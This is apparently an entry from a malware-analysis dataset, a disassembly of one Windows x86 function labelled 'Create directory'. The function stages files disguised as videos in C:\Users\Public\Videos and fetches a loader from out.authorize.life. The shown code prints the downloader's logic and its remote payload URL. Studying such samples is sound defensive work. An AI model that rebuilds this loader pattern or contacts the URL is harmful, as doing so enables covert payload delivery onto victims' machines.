Function at 0x405fb0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54aed4
mov eax, dword fs:[0]
push eax
sub esp, 0x164
mov eax, dword [0x5b4650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
cmp word [str.C:UsersPublicVideos], ax
jne 0x405fff
xor ecx, ecx
jmp 0x406016
mov ecx, str.C:UsersPublicVideos
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406007
sub ecx, edx
sar ecx, 1
push ecx
push str.C:UsersPublicVideos
lea ecx, [ebp - 0x28]
call fcn.004075e0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
cmp dword [ebp - 0x14], 8
jb 0x40604b
push dword [ebp - 0x28]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
cmp word [str.C:UsersPublicVideos], ax
jne 0x40606c
xor ecx, ecx
jmp 0x406083
mov ecx, str.C:UsersPublicVideos
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406074
sub ecx, edx
sar ecx, 1
push ecx
push str.C:UsersPublicVideos
lea ecx, [ebp - 0x28]
call fcn.004075e0
push 0x55c0f0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00404b60
push str.config.mp4
push eax
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 1
push eax
call fcn.00404b60
add esp, 0x18
cmp dword [ebp - 0x44], 8
jb 0x4060d4
push dword [ebp - 0x58]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x48], 0
mov word [ebp - 0x58], ax
cmp dword [ebp - 0x14], 8
mov byte [ebp - 4], 4
jb 0x4060fd
push dword [ebp - 0x28]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], eax
mov word [ebp - 0x40], ax
cmp word [str.http:__out_authorize.life_static_clients_Memory_Loader.bin], ax
jne 0x40612c
xor ecx, ecx
jmp 0x406143
mov ecx, str.http:__out_authorize.life_static_clients_Memory_Loader.bin
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406134
sub ecx, edx
sar ecx, 1
push ecx
push str.http:__out_authorize.life_static_clients_Memory_Loader.bin
lea ecx, [ebp - 0x40]
call fcn.004075e0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00402780
add esp, 8
mov byte [ebp - 4], 4
test eax, eax
sete bl
cmp dword [ebp - 0x2c], 8
jb 0x406182
push dword [ebp - 0x40]
call fcn.0040faca
add esp, 4
test bl, bl
jne 0x4061ce
push 0xa00000
call fcn.0040facf
add esp, 4
lea ecx, [ebp - 0x170]
mov esi, eax
lea eax, [ebp - 0x88]
push 1
push 0x40
push 0x20
push eax
call fcn.00404ea0
cmp dword [ebp - 0x110], 0
mov byte [ebp - 4], 6
jne 0x406200
push esi
call fcn.0040faca
add esp, 4
lea ecx, [ebp - 0x170]
call fcn.00405a80
cmp dword [ebp - 0x74], 8
jb 0x4061e2
push dword [ebp - 0x88]
call fcn.0040faca
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052d578
mov esp, ebp
pop ebp
ret
push 0
push 0xa00000
push esi
lea ecx, [ebp - 0x170]
call fcn.00408990
mov edi, dword [ebp - 0x168]
lea ecx, [ebp - 0x170]
call fcn.00407790
push 0x55c104
lea ecx, [ebp - 0x40]
call fcn.00405320
push str.C:UsersPublicVideos
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 7
call fcn.00405320
push 0x55c0f0
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 8
push eax
call fcn.00404b60
push str.ck.mp4
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 9
push eax
call fcn.00404b60
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xa
push ecx
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.004063e0
add esp, 0x24
cmp dword [ebp - 0x44], 8
jb 0x406291
push dword [ebp - 0x58]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x48], 0
mov word [ebp - 0x58], ax
cmp dword [ebp - 0x14], 8
jb 0x4062b6
push dword [ebp - 0x28]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
cmp dword [ebp - 0x8c], 8
jb 0x4062e1
push dword [ebp - 0xa0]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x8c], 7
mov dword [ebp - 0x90], 0
mov word [ebp - 0xa0], ax
cmp dword [ebp - 0x2c], 8
mov byte [ebp - 4], 0xf
jb 0x406313
push dword [ebp - 0x40]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x2c], 7
cmp dword [ebp - 0x5c], 8
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push eax
push edi
push esi
mov dword [ebp - 0x30], 0
call fcn.00407fb0
add esp, 0xc
lea ecx, [ebp - 0xb8]
push 0x5ae1aa
call fcn.00405320
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x10
push eax
call fcn.004066a0
add esp, 4
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0xa4], 8
jb 0x40637b
push dword [ebp - 0xb8]
call fcn.0040faca
add esp, 4
push edi
push esi
call fcn.004071e0
push esi
call fcn.0040faca
add esp, 0xc
cmp dword [ebp - 0x5c], 8
jb 0x40639c
push dword [ebp - 0x70]
call fcn.0040faca
add esp, 4
xor eax, eax
mov dword [ebp - 0x5c], 7
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x60], 0
mov word [ebp - 0x70], ax
call fcn.00405a80
cmp dword [ebp - 0x74], 8
jb 0x4061e4
push dword [ebp - 0x88]
call fcn.0040faca
add esp, 4
jmp 0x4061e4